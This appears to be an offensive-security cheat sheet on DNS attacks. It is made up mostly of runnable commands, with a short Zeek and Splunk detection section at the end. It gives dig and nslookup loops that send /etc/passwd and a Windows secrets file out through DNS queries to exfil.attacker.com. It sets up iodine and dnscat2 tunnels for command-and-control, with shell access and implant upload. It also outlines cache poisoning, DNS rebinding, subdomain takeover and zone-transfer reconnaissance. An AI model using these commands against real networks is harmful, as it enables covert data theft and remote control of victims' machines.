DNS Attacks & Tunneling NEW

# Data encoded in subdomain of attacker-controlled domain
# Victim → DNS Query → Attacker's Authoritative DNS Server

# Exfiltrating "secret data":
# 1. Encode data: "secret data" → base32 → "ONXW2ZLUNBUW4ZY"
# 2. Send as DNS query: ONXW2ZLUNBUW4ZY.data.attacker.com
# 3. Attacker's DNS server receives query, decodes subdomain
# 4. Response can contain commands (in TXT, CNAME, or other records)

# Query flow:
Victim Machine
    ↓ DNS Query: ONXW2ZLUNBUW4ZY.data.attacker.com
Corporate DNS Resolver
    ↓ Recursive query (allowed through firewall)
Attacker's DNS Server (ns1.attacker.com)
    ↓ Decodes: "secret data"
    ↓ Returns: TXT "bmV4dCBjb21tYW5k" (base64 "next command")
Response flows back to victim

# iodine - IP over DNS tunneling

# Server side (attacker's authoritative DNS for tunnel.attacker.com)
iodined -f -c -P secretpassword 10.0.0.1 tunnel.attacker.com

# Client side (victim network)
iodine -f -P secretpassword tunnel.attacker.com

# Result: Full IP tunnel over DNS
# - Client gets IP 10.0.0.2
# - Can SSH, browse, anything over the tunnel
# - All traffic encoded in DNS queries/responses

# Speed: ~50-100 KB/s (slow but stealthy)

# dnscat2 - C2 over DNS

# Server (attacker)
dnscat2-server tunnel.attacker.com --secret=mysecret

# Client (victim)
./dnscat --secret=mysecret tunnel.attacker.com

# Server commands:
dnscat2> sessions        # List sessions
dnscat2> session -i 1    # Interact with session
command (victim01)> shell  # Get shell
command (victim01)> download /etc/passwd
command (victim01)> upload implant.sh /tmp/

# Exfiltrate file contents via DNS queries
# Each query sends a chunk of data

# Encode and send file
cat /etc/passwd | base64 | tr -d '\n' | fold -w 60 | \
while read chunk; do
    dig +short $chunk.exfil.attacker.com
    sleep 0.5  # Avoid rate limiting
done

# On attacker's DNS server, log all queries:
# tcpdump -i eth0 -n port 53 | grep exfil.attacker.com

# Decode received data:
cat dns_queries.log | awk -F'.' '{print $1}' | base64 -d

# Exfiltrate data from Windows using nslookup
$data = Get-Content C:\Users\victim\secrets.txt
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
$chunks = $encoded -split '(.{60})' | Where-Object { $_ }

foreach ($chunk in $chunks) {
    nslookup -type=TXT "$chunk.exfil.attacker.com" 2>$null
    Start-Sleep -Milliseconds 500
}

# Advantage: Uses built-in Windows tools
# No malware signature, just DNS queries

# Scenario:
# 1. Company creates blog.company.com → CNAME → company.github.io
# 2. Company deletes GitHub Pages repo
# 3. DNS CNAME still points to company.github.io
# 4. Attacker creates repo "company.github.io" in their GitHub
# 5. Attacker now controls blog.company.com!

# Vulnerable CNAME patterns:
# *.amazonaws.com         (S3 buckets)
# *.cloudfront.net        (CloudFront distributions)
# *.github.io             (GitHub Pages)
# *.herokuapp.com         (Heroku apps)
# *.azurewebsites.net     (Azure Web Apps)
# *.trafficmanager.net    (Azure Traffic Manager)

# Detection:
dig blog.company.com CNAME
# Returns: company.github.io
# But company.github.io returns 404 = VULNERABLE!

# Classic Kaminsky Attack (2008)
# Goal: Poison resolver's cache for target.com

# 1. Attacker triggers resolver to query random.target.com
# 2. Before real response arrives, attacker floods resolver with:
#    - Spoofed responses for random.target.com
#    - Each response includes "Additional" section:
#      "ns1.target.com = attacker_ip" (glue record)
# 3. If attacker guesses transaction ID (16-bit = 65536 possibilities)
#    Resolver caches: ns1.target.com = attacker_ip
# 4. ALL future queries for *.target.com go to attacker

# Modern mitigations:
# - Source port randomization (adds ~16 bits entropy)
# - DNSSEC (cryptographic validation)
# - DNS cookies
# - Response rate limiting

# But many resolvers still vulnerable to variants!

# Attack flow:

# 1. Victim visits attacker.com
# 2. DNS: attacker.com → 1.2.3.4 (attacker server), TTL=0
# 3. Page loads JavaScript from attacker server
# 4. JavaScript makes request to attacker.com/api
# 5. DNS rebinds: attacker.com → 192.168.1.1 (router!)
# 6. Request goes to internal router (same origin = attacker.com)
# 7. JavaScript reads response from internal device!

# Uses:
# - Access internal web interfaces (routers, printers, IoT)
# - Scan internal network from victim's browser
# - Exploit internal services (default credentials)
# - Exfiltrate data from intranet

# Tools:
# - Singularity (https://github.com/nccgroup/singularity)
# - rbndr (https://github.com/taviso/rbndr)

# Attempt zone transfer - reveals ALL DNS records
dig axfr target.com @ns1.target.com

# If successful, returns:
# - All subdomains
# - All IP addresses
# - Mail servers
# - Internal naming conventions
# - Sometimes internal IPs!

# Most servers block AXFR, but always worth trying
# Alternative: dnsrecon
dnsrecon -d target.com -t axfr

# Passive enumeration (no direct queries to target)
subfinder -d target.com -silent
amass enum -passive -d target.com

# Active enumeration (queries target DNS)
amass enum -active -d target.com -brute
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Certificate transparency logs
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Combine results
cat passive.txt active.txt crtsh.txt | sort -u > all_subdomains.txt

# High-entropy subdomain detection (tunneling indicator)
# Normal: www.company.com, mail.company.com
# Suspicious: aGVsbG8gd29ybGQ.data.attacker.com

# Zeek/Bro rule for long subdomains:
event dns_request(c: connection, msg: dns_msg, query: string) {
    local labels = split_string(query, /\./);
    for (i in labels) {
        if (|labels[i]| > 50) {
            NOTICE([$note=DNS::Tunneling_Indicator,
                    $msg=fmt("Long DNS label: %s", query)]);
        }
    }
}

# Splunk query for DNS exfil patterns:
index=dns | eval label_len=len(mvindex(split(query,"."),0)) 
| where label_len > 40 | stats count by query